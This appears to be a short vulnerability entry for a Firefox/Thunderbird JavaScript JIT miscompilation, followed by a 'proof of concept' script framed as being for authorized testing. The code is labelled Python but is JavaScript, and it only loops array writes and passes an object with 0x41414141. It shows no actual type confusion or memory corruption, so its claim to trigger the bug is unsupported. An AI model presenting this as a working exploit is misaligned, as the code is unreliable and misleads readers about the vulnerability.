JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
// Proof of Concept for JIT Miscompilation (Conceptual)
// This script demonstrates a trigger pattern for JIT type confusion.
function trigger_vuln(arr, index, value) {
// Warm up the JIT compiler with valid operations
for (let i = 0; i < 10000; i++) {
if (i > 9990) {
arr[index] = value;
}
}
return arr[index];
}
// Setup standard array
let arr = [1.1, 2.2, 3.3];
// Trigger JIT compilation
console.log(trigger_vuln(arr, 1, 5.5));
// Attempt to exploit the miscompilation
// In a real scenario, this would corrupt memory or lead to RCE
let malicious_obj = {x: 1};
trigger_vuln(malicious_obj, 'x', 0x41414141);
console.log('[+] Exploit trigger completed');